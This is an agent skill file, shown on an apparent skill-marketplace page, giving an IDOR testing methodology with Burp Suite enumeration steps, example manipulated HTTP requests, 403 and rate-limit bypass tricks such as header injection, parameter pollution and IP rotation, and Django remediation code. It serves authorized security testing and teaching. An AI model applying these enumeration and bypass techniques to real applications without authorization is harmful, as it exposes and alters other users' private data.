This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
Add this skill
npx mdskills install sickn33/idor-testingComprehensive IDOR testing methodology with clear workflows, examples, and remediation guidance
1---2name: IDOR Vulnerability Testing3description: This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.4metadata:5 author: zebbern6 version: "1.1"7---89# IDOR Vulnerability Testing1011## Purpose1213Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.1415## Inputs / Prerequisites1617- **Target Web Application**: URL of application with user-specific resources18- **Multiple User Accounts**: At least two test accounts to verify cross-user access19- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation20- **Authorization**: Written permission for security testing21- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)2223## Outputs / Deliverables2425- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses26- **Proof of Concept**: Evidence of unauthorized data access across user contexts27- **Affected Endpoints**: List of vulnerable API endpoints and parameters28- **Impact Assessment**: Classification of data exposure severity29- **Remediation Recommendations**: Specific fixes for identified vulnerabilities3031## Core Workflow3233### 1. Understand IDOR Vulnerability Types3435#### Direct Reference to Database Objects36Occurs when applications reference database records via user-controllable parameters:37```38# Original URL (authenticated as User A)39example.com/user/profile?id=20234041# Manipulation attempt (accessing User B's data)42example.com/user/profile?id=202243```4445#### Direct Reference to Static Files46Occurs when applications expose file paths or names that can be enumerated:47```48# Original URL (User A's receipt)49example.com/static/receipt/205.pdf5051# Manipulation attempt (User B's receipt)52example.com/static/receipt/200.pdf53```5455### 2. Reconnaissance and Setup5657#### Create Multiple Test Accounts58```59Account 1: "attacker" - Primary testing account60Account 2: "victim" - Account whose data we attempt to access61```6263#### Identify Object References64Capture and analyze requests containing:65- Numeric IDs in URLs: `/api/user/123`66- Numeric IDs in parameters: `?id=123&action=view`67- Numeric IDs in request body: `{"userId": 123}`68- File paths: `/download/receipt_123.pdf`69- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`7071#### Map User IDs72```73# Access user ID endpoint (if available)74GET /api/user-id/7576# Note ID patterns:77# - Sequential integers (1, 2, 3...)78# - Auto-incremented values79# - Predictable patterns80```8182### 3. Detection Techniques8384#### URL Parameter Manipulation85```86# Step 1: Capture original authenticated request87GET /api/user/profile?id=1001 HTTP/1.188Cookie: session=attacker_session8990# Step 2: Modify ID to target another user91GET /api/user/profile?id=1000 HTTP/1.192Cookie: session=attacker_session9394# Vulnerable if: Returns victim's data with attacker's session95```9697#### Request Body Manipulation98```99# Original POST request100POST /api/address/update HTTP/1.1101Content-Type: application/json102Cookie: session=attacker_session103104{"id": 5, "userId": 1001, "address": "123 Attacker St"}105106# Modified request targeting victim107{"id": 5, "userId": 1000, "address": "123 Attacker St"}108```109110#### HTTP Method Switching111```112# Original GET request may be protected113GET /api/admin/users/1000 → 403 Forbidden114115# Try alternative methods116POST /api/admin/users/1000 → 200 OK (Vulnerable!)117PUT /api/admin/users/1000 → 200 OK (Vulnerable!)118```119120### 4. Exploitation with Burp Suite121122#### Manual Exploitation123```1241. Configure browser proxy through Burp Suite1252. Login as "attacker" user1263. Navigate to profile/data page1274. Enable Intercept in Proxy tab1285. Capture request with user ID1296. Modify ID to victim's ID1307. Forward request1318. Observe response for victim's data132```133134#### Automated Enumeration with Intruder135```1361. Send request to Intruder (Ctrl+I)1372. Clear all payload positions1383. Select ID parameter as payload position1394. Configure attack type: Sniper1405. Payload settings:141 - Type: Numbers142 - Range: 1 to 10000143 - Step: 11446. Start attack1457. Analyze responses for 200 status codes146```147148#### Battering Ram Attack for Multiple Positions149```150# When same ID appears in multiple locations151PUT /api/addresses/§5§/update HTTP/1.1152153{"id": §5§, "userId": 3}154155Attack Type: Battering Ram156Payload: Numbers 1-1000157```158159### 5. Common IDOR Locations160161#### API Endpoints162```163/api/user/{id}164/api/profile/{id}165/api/order/{id}166/api/invoice/{id}167/api/document/{id}168/api/message/{id}169/api/address/{id}/update170/api/address/{id}/delete171```172173#### File Downloads174```175/download/invoice_{id}.pdf176/static/receipts/{id}.pdf177/uploads/documents/{filename}178/files/reports/report_{date}_{id}.xlsx179```180181#### Query Parameters182```183?userId=123184?orderId=456185?documentId=789186?file=report_123.pdf187?account=user@email.com188```189190## Quick Reference191192### IDOR Testing Checklist193194| Test | Method | Indicator of Vulnerability |195|------|--------|---------------------------|196| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |197| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |198| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |199| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |200| Large Values | Test `id=99999999` | System information disclosure |201| String IDs | Change format `id=user_123` | Logic bypass |202| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |203204### Response Analysis205206| Status Code | Interpretation |207|-------------|----------------|208| 200 OK | Potential IDOR - verify data ownership |209| 403 Forbidden | Access control working |210| 404 Not Found | Resource doesn't exist |211| 401 Unauthorized | Authentication required |212| 500 Error | Potential input validation issue |213214### Common Vulnerable Parameters215216| Parameter Type | Examples |217|----------------|----------|218| User identifiers | `userId`, `uid`, `user_id`, `account` |219| Resource identifiers | `id`, `pid`, `docId`, `fileId` |220| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |221| Message/Communication | `messageId`, `threadId`, `chatId` |222| File references | `filename`, `file`, `document`, `path` |223224## Constraints and Limitations225226### Operational Boundaries227- Requires at least two valid user accounts for verification228- Some applications use session-bound tokens instead of IDs229- GUID/UUID references harder to enumerate but not impossible230- Rate limiting may restrict enumeration attempts231- Some IDOR requires chained vulnerabilities to exploit232233### Detection Challenges234- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)235- Blind IDOR where response doesn't confirm access236- Time-based IDOR in asynchronous operations237- IDOR in websocket communications238239### Legal Requirements240- Only test applications with explicit authorization241- Document all testing activities and findings242- Do not access, modify, or exfiltrate real user data243- Report findings through proper disclosure channels244245## Examples246247### Example 1: Basic ID Parameter IDOR248```249# Login as attacker (userId=1001)250# Navigate to profile page251252# Original request253GET /api/profile?id=1001 HTTP/1.1254Cookie: session=abc123255256# Response: Attacker's profile data257258# Modified request (targeting victim userId=1000)259GET /api/profile?id=1000 HTTP/1.1260Cookie: session=abc123261262# Vulnerable Response: Victim's profile data returned!263```264265### Example 2: IDOR in Address Update Endpoint266```267# Intercept address update request268PUT /api/addresses/5/update HTTP/1.1269Content-Type: application/json270Cookie: session=attacker_session271272{273 "id": 5,274 "userId": 1001,275 "street": "123 Main St",276 "city": "Test City"277}278279# Modify userId to victim's ID280{281 "id": 5,282 "userId": 1000, # Changed from 1001283 "street": "Hacked Address",284 "city": "Exploit City"285}286287# If 200 OK: Address created under victim's account288```289290### Example 3: Static File IDOR291```292# Download own receipt293GET /api/download/5 HTTP/1.1294Cookie: session=attacker_session295296# Response: PDF of attacker's receipt (order #5)297298# Attempt to access other receipts299GET /api/download/3 HTTP/1.1300Cookie: session=attacker_session301302# Vulnerable Response: PDF of victim's receipt (order #3)!303```304305### Example 4: Burp Intruder Enumeration306```307# Configure Intruder attack308Target: PUT /api/addresses/§1§/update309Payload Position: Address ID in URL and body310311Attack Configuration:312- Type: Battering Ram313- Payload: Numbers 0-20, Step 1314315Body Template:316{317 "id": §1§,318 "userId": 3319}320321# Analyze results:322# - 200 responses indicate successful modification323# - Check victim's account for new addresses324```325326### Example 5: Horizontal to Vertical Escalation327```328# Step 1: Enumerate user roles329GET /api/user/1 → {"role": "user", "id": 1}330GET /api/user/2 → {"role": "user", "id": 2}331GET /api/user/3 → {"role": "admin", "id": 3}332333# Step 2: Access admin functions with discovered ID334GET /api/admin/dashboard?userId=3 HTTP/1.1335Cookie: session=regular_user_session336337# If accessible: Vertical privilege escalation achieved338```339340## Troubleshooting341342### Issue: All Requests Return 403 Forbidden343**Cause**: Server-side access control is implemented344**Solution**:345```346# Try alternative attack vectors:3471. HTTP method switching (GET → POST → PUT)3482. Add X-Original-URL or X-Rewrite-URL headers3493. Try parameter pollution: ?id=1001&id=10003504. URL encoding variations: %31%30%30%30 for "1000"3515. Case variations for string IDs352```353354### Issue: Application Uses UUIDs Instead of Sequential IDs355**Cause**: Randomized identifiers reduce enumeration risk356**Solution**:357```358# UUID discovery techniques:3591. Check response bodies for leaked UUIDs3602. Search JavaScript files for hardcoded UUIDs3613. Check API responses that list multiple objects3624. Look for UUID patterns in error messages3635. Try UUID v1 (time-based) prediction if applicable364```365366### Issue: Session Token Bound to User367**Cause**: Application validates session against requested resource368**Solution**:369```370# Advanced bypass attempts:3711. Test for IDOR in unauthenticated endpoints3722. Check password reset/email verification flows3733. Look for IDOR in file upload/download3744. Test API versioning: /api/v1/ vs /api/v2/3755. Check mobile API endpoints (often less protected)376```377378### Issue: Rate Limiting Blocks Enumeration379**Cause**: Application implements request throttling380**Solution**:381```382# Bypass techniques:3831. Add delays between requests (Burp Intruder throttle)3842. Rotate IP addresses (proxy chains)3853. Target specific high-value IDs instead of full range3864. Use different endpoints for same resources3875. Test during off-peak hours388```389390### Issue: Cannot Verify IDOR Impact391**Cause**: Response doesn't clearly indicate data ownership392**Solution**:393```394# Verification methods:3951. Create unique identifiable data in victim account3962. Look for PII markers (name, email) in responses3973. Compare response lengths between users3984. Check for timing differences in responses3995. Use secondary indicators (creation dates, metadata)400```401402## Remediation Guidance403404### Implement Proper Access Control405```python406# Django example - validate ownership407def update_address(request, address_id):408 address = Address.objects.get(id=address_id)409410 # Verify ownership before allowing update411 if address.user != request.user:412 return HttpResponseForbidden("Unauthorized")413414 # Proceed with update415 address.update(request.data)416```417418### Use Indirect References419```python420# Instead of: /api/address/123421# Use: /api/address/current-user/billing422423def get_address(request):424 # Always filter by authenticated user425 address = Address.objects.filter(user=request.user).first()426 return address427```428429### Server-Side Validation430```python431# Always validate on server, never trust client input432def download_receipt(request, receipt_id):433 receipt = Receipt.objects.filter(434 id=receipt_id,435 user=request.user # Critical: filter by current user436 ).first()437438 if not receipt:439 return HttpResponseNotFound()440441 return FileResponse(receipt.file)442```443
Full transparency — inspect the skill content before installing.